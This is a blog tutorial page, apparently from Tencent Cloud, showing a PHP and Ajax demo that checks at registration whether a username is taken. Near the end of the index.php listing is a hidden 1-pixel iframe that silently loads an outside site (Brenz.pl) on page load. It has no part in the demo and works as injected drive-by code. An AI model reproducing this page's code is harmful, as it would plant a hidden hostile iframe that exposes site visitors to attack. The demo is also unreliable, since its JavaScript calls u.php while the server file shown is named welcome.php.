专栏首页Nicky's blogPHP结合Ajax实现登录验证的Demo

PHP结合Ajax实现登录验证的Demo

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html>
	<head>
		<meta http-equiv="content-type" content="text/html; charset=gb2312" />
		<script type="text/JavaScript">
		function Ajax(){
			var xmlHttpReq=null;//初始对象xmlHttpReq
			if(window.ActiveXObject){
				xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
			}else if(window.XMLHttpRequest){
				xmlHttpReq=new XMLHttpRequest();
			}
			var userId=document.getElementById("userId").value;//value取得id为userId的值
			url="u.php?userId="+userId;//路径
			if(xmlHttpReq!=null){//若对象实例化创建成功
				xmlHttpReq.open("GET",url,true);//open()打开请求
				xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()
				xmlHttpReq.send(null);//请求不包括正文
			}
			function RequestCallBack(){//回调函数
				if(xmlHttpReq.readystate==4){
					if(xmlHttpReq.status==200){//请求成功
						document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div
					}
				}
			}
			
		}
		
		</script>
	</head>
	<body>
	<font>
		注册
	</font><br>
	<form>
	用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()">
	
	<div id="get">
	</div>
	</form>
	<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312");
//sleep(1);

$userId=$_GET["userId"];
if($userId=="管理员"){
	echo "用户名已存在!";
}else{
	echo "该用户名可以注册";
}
?>

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 网络安全知识培训学习笔记

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    SmileNicky
  • MySQL系列之批量写入给定时间范围内的数据

    需求:最近需要在mysql数据库中造大量数据进行测试,而且要求要在某段时间内,本来想通过存储过程写,不过觉得麻烦,所以想到直接通过sql写

    SmileNicky
  • oracle和plsql developer编码设置

    设置为UTF8,需要新增变量NLS_LANG,赋值为:SIMPLIFIED CHINESE_CHINA.AL32UTF8

    SmileNicky
  • 手写一个四则运算表达式转换成AST的方法(下)

    上篇我们利「用有限状态机」成功实现了「词法分析」,本篇将进入到「语法分析」及后续部分。

    WecTeam
  • 数据结构——AVL树(C语言)

    AVL(Adelson-Velskii 和 Landis)树是带有平衡条件的二叉查找树。在计算机科学中,AVL树是最先发明的自平衡二叉查找树。在AVL树中任何节...

    Originalee
  • 数据结构——AVL树(C语言)

    AVL(Adelson-Velskii 和 Landis)树是带有平衡条件的二叉查找树。在计算机科学中,AVL树是最先发明的自平衡二叉查找树。在AVL树中任何节...

    Originalee
  • 美国突然取消英特尔等向华为供货许可:已吊销八份,新申请全拒

    据路透社今天的报道,有知情人士称特朗普政府已通知英特尔等公司,向华为供货的多种许可已被吊销,正在申请的数十个其他供货申请也打算拒绝。

    机器之心
  • Python可视化 | 风玫瑰图可视化示例

    郭好奇同学
  • python 查找替换

    py3study
  • python怎么删除缓存文件

    首先输入“find.-name ‘__pycache__’ -type d -exec rm -rf {} \”命令删除所有子目录;

    砸漏

扫码关注云+社区

领取腾讯云代金券